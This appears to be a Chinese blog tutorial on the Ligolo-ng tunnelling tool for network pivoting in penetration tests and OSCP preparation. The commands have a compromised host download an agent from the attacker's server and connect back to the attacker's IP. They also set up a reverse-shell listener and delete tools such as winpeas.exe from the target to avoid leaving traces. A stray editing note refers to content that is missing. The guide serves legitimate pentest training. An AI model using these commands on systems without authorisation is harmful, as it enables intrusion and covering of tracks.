Ligolo-ng 保姆级使用指南:新一代隧道代理工具(OSCP适用)

在渗透测试领域,网络枢纽(Pivoting)和隧道技术是攻防的核心技能,尤其是在OSCP(Offensive Security Certified Professional)考试中,能够快速、高效地访问目标网络内部资源往往是通关的关键。传统的隧道工具如SSH、Chisel、Socat和Netcat虽然功能强大,但在复杂网络环境下的性能、稳定性以及配置便捷性有时难以完全满足需求。而Ligolo-ng作为一款新兴的轻量级隧道工具,以其高效的TUN接口设计、无需SOCKS代理的特性以及高达100 Mbits/sec的传输速度,迅速成为渗透测试人员的新宠。本文将从Ligolo-ng的基础概念入手,详细讲解其安装、配置与使用流程,并深入探讨其在OSCP考试中的适用性,旨在帮助读者全面掌握这一强大工具。


第一部分:认识Ligolo-ng——新一代隧道工具

1.1 什么是Ligolo-ng?

Ligolo-ng 是一个由Nicolas Chatelain开发的高效隧道工具,基于Go语言编写,是对早期Ligolo项目的改进版本。它专为网络渗透测试设计,主要用于在攻击者与目标网络之间建立枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP或TLS连接,结合操作系统提供的TUN接口(虚拟网络接口),构建了一个用户态网络栈,从而实现对目标网络的直接访问。

其工作原理可以简单概括为:

  • 代理端(Agent):运行在已攻陷的目标机器上,负责与攻击者的代理(Proxy)建立连接。
  • 代理(Proxy):运行在攻击者机器上,接收来自Agent的连接,并通过TUN接口将流量路由到目标网络。

这种设计避免了传统工具依赖SOCKS代理或逐一端口转发的复杂性,使得Ligolo-ng在性能和易用性上具有显著优势。

1.2 Ligolo-ng的核心特性

  1. VPN-like
    通过TUN接口,Ligolo-ng模拟了VPN的功能,将攻击者的流量无缝路由到目标网络。这种方式无需额外的代理工具(如Proxychains),即可直接访问内部资源。

  2. 多协议支持
    支持TCP、UDP和ICMP协议,能够处理Nmap扫描(包括SYN扫描、OS检测)、服务枚举和Ping测试,传输速度可达100 Mbits/sec,远超许多传统工具。

  3. 灵活的端口转发
    通过listener_add命令,Ligolo-ng支持本地和远程端口转发,类似于SSH的-L-R选项,但配置更直观。

  4. 无需特权运行Agent
    Agent端无需管理员权限即可运行,非常适合权限受限的场景,例如OSCP中常见的低权限初始立足点。

  5. 多层Pivot支持
    Ligolo-ng通过多会话管理(Session),能够轻松实现双重甚至三重Pivot,适应复杂的多层网络环境。

1.3 为什么选择Ligolo-ng?

与传统工具相比,Ligolo-ng的优势显而易见:

  • 对比SSH:SSH需要配置SOCKS代理(如-D选项)或逐一转发端口,而Ligolo-ng通过路由表直接访问目标网络,效率更高。
  • 对比Chisel:Chisel依赖SOCKS5代理,配置复杂且性能受限,Ligolo-ng则通过TUN接口提供更低的延迟和更高的吞吐量。
  • 对比Socat:Socat功能强大但配置繁琐,Ligolo-ng的操作更简洁,适合快速部署。

在OSCP考试和真实渗透测试中,Ligolo-ng的这些特性使其成为处理复杂网络拓扑的理想选择。


第二部分:Ligolo-ng的安装与配置

2.1 安装准备

在使用Ligolo-ng之前,需要分别在攻击者机器和目标机器上部署Proxy和Agent组件。Proxy运行于攻击者端,作为流量中转核心;Agent则部署在目标端,负责建立与Proxy的连接。本节以Kali Linux(攻击者端)和Linux/Windows(目标端)为例,详细介绍安装流程。

下载Ligolo-ng

Ligolo-ng的预编译二进制文件可从其官方GitHub发布页面(github.com/nicocha30/ligolo-ng)获取。以下为具体步骤:

  1. 攻击者机器(Proxy端)
    在Kali Linux上下载并解压Proxy组件:

    wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz
    tar -xvf ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz
    mv proxy lin-proxy
    chmod +x lin-proxy
    
    • mv命令将文件重命名为lin-proxy,便于区分和调用。
    • chmod +x赋予执行权限。
  2. 目标机器(Agent端)

    • Linux目标
      在目标Linux主机上执行以下命令:
      wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz
      tar -xvf ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz
      mv agent lin-agent
      chmod +x lin-agent
      
    • Windows目标
      从GitHub下载ligolo-ng_agent_0.7.5_Windows_64bit.zip,使用解压工具(如WinRAR或7-Zip)解压,得到可执行文件agent.exe。无需额外赋予权限,直接可用。
  3. 验证安装
    在攻击者和目标机器上分别运行以下命令,检查版本信息:

    ./lin-proxy --version
    ./lin-agent --version
    

    正常情况下,输出应显示ligolo-ng v0.7.5或所下载的最新版本号,确保二进制文件可用。

2.2 配置TUN接口

Ligolo-ng利用TUN虚拟网络接口实现流量路由,因此在攻击者机器上必须正确配置并启用TUN接口。以下为Linux系统的配置步骤:

  1. 创建TUN接口
    在Kali Linux中,使用以下命令创建虚拟接口:

    sudo ip tuntap add user $USER mode tun ligolo
    
    • $USER为当前登录用户(如kali),确保接口归属当前用户以便操作。
    • ligolo为自定义接口名称,可根据需要调整。
  2. 激活接口
    将创建的TUN接口启用:

    sudo ip link set ligolo up
    
  3. 验证配置
    检查网络接口状态:

    ip a
    

    输出中应出现ligolo接口,且状态显示为UP,表明接口已成功激活。

注意事项

  • Windows用户:需额外安装TAP驱动程序(如OpenVPN提供的TAP-Windows驱动)。安装后,可通过Windows设备管理器手动添加虚拟网卡并启用。具体步骤较为繁琐,建议参考Ligolo-ng官方文档或相关社区教程。
  • 权限问题:若遇到权限不足,可尝试以root用户执行上述命令,或检查系统是否启用了TUN/TAP模块(lsmod | grep tun)。

以下是优化、润色并补充后的版本,增加了服务端操作细节、退出命令及其影响说明,以及多级内网反弹Shell和文件传输的完整流程。内容更加全面,逻辑清晰,实用性更强。


第三部分:Ligolo-ng的基本使用

本节将详细介绍Ligolo-ng的基本使用流程和操作。以攻击者机器(Kali Linux)通过已攻陷的目标A访问其内网(例如192.168.1.0/24)为例,逐步展开。

3.1 基本使用流程

1. 启动代理(攻击者机器)

在攻击者机器上启动Ligolo-ng的Proxy服务:

./lin-proxy -selfcert
  • -selfcert:自动生成自签名TLS证书,用于加密通信。
  • 默认监听端口为11601,可通过-listen <IP:PORT>自定义。
2. 分发Agent文件

在攻击者机器上快速搭建HTTP服务以分发Agent:

python3 -m http.server 80

目标机器通过wget下载Agent:

wget http://<攻击者IP>/lin-agent
chmod +x lin-agent
3. 运行Agent(目标机器)

在目标机器上启动Agent并连接至Proxy:

./lin-agent -connect <攻击者IP>:11601 -ignore-cert
  • -connect:指定Proxy的IP和端口。
  • -ignore-cert:忽略自签名证书的验证,简化部署。
4. 管理会话(攻击者机器)

Proxy启动后会进入交互式界面,可执行以下命令:

  • 查看当前会话:session
    • 显示所有已连接的Agent及其ID。
  • 选择会话:start <ID>
    • 例如start 1,进入指定Agent的隧道管理模式。
  • 查看帮助:help
    • 列出所有可用命令。
5. 添加路由

为访问目标内网,需在攻击者机器上配置路由:

sudo ip route add 192.168.1.0/24 dev ligolo

验证路由是否生效:

ip route

输出中应包含192.168.1.0/24 via ligolo

6.创建监听器

在Proxy交互界面输入:

listener_list
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
  • listener_list:列出现有监听器。
  • listener_add:新建监听器,将目标端的流量从0.0.0.0:1234转发至攻击者本地的127.0.0.1:4444

3.2 渗透后清理配置

为避免留下痕迹,渗透完成后需清理相关配置和文件:

  1. 删除路由
    在攻击者机器上移除添加的路由:

    sudo ip route del 192.168.1.0/24
    
  2. 关闭TUN接口
    禁用并删除TUN接口:

    sudo ip link set ligolo down
    sudo ip tuntap del mode tun ligolo
    
  3. 清理目标端文件
    在目标机器上删除Agent及其相关文件:

    • Linux:rm -f lin-agent
    • Windows:del agent.exedel winpeas.exe
  4. 检查残留

    • 攻击者端:运行ip a确认ligolo接口已移除。
    • 目标端:检查进程(ps aux | grep agent或任务管理器)确保无残留活动。

第四部分:Ligolo-ng在OSCP中的适用性分析

4.1 OSCP常见场景

OSCP考试涉及多种Pivot和端口转发需求:

  1. 单一Pivot
    通过一个已攻陷的主机(如双网卡主机)访问其连接的内部网络。例如,从Kali访问一个Ubuntu主机,再通过它访问172.16.1.0/24网络。

  2. 多重Pivot
    在复杂网络中,可能需要通过多个主机(如Ubuntu到Windows再到另一个子网)逐步深入。

  3. 端口转发需求

    • 本地端口转发:将目标主机的服务(如内部Web服务器)映射到攻击者的本地端口。
    • 远程端口转发:将攻击者的端口映射到目标网络,用于接收反向Shell。
    • 动态端口转发:通过SOCKS代理(如Proxychains)访问目标网络。
  4. 协议限制
    需要支持TCP、UDP甚至ICMP(如Ping扫描),以完成网络枚举和服务发现。

  5. 工具使用
    OSCP中常用的工具包括SSH(带-L/-R/-D选项)、Chisel、Socat、Netcat、Meterpreter等。

4.2 Ligolo-ng的表现

单一Pivot
  • 表现:通过路由表直接访问目标网络,优于SSH+Proxychains。
  • 结论:完全适用。
多重Pivot
  • 表现:多会话管理和路由调整轻松实现。
  • 结论:完全适用。
端口转发
  • 本地转发listener_add实现,类似SSH -L
  • 远程转发:Agent端监听器支持,类似SSH -R
  • 动态转发:无原生SOCKS,但VPN-like行为可替代。
  • 结论:覆盖大部分需求,SOCKS场景需额外工具。
协议支持
  • 表现:支持TCP/UDP/ICMP,但无特权Agent无法处理Raw Packet。
  • 结论:满足大部分需求,少数高级扫描受限。
易用性
  • 表现:配置简单,但需熟悉TUN和路由。
  • 结论:适合OSCP,需提前练习。

4.3 综合评估

Ligolo-ng在单一Pivot、多重Pivot和大部分端口转发场景中表现出色,优于传统工具。然而,其缺乏SOCKS代理支持和Raw Packet转发能力,使其无法完全替代SSH、Chisel等工具。

4.4 结论

  • 答案:不能完全替代,但覆盖90%以上场景。
  • 建议:主用Ligolo-ng,辅以SSH/Chisel,确保全面应对。

总结

Ligolo-ng以其高效、简单和灵活的特点,成为OSCP考试和真实渗透测试中的新一代隧道工具。通过本教程,您已经掌握了从安装、配置到删除的完整流程。无论是单点隧道还是复杂网络中的双重枢纽,Ligolo-ng都能为您提供强大的支持。立即尝试,解锁渗透测试的新高度吧!

参考资料

  1. GitHub - nicocha30/ligolo-ng
  2. A Detailed Guide on Ligolo-Ng - Hacking Articles
  3. How to Use Ligolo-ng - StationX
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值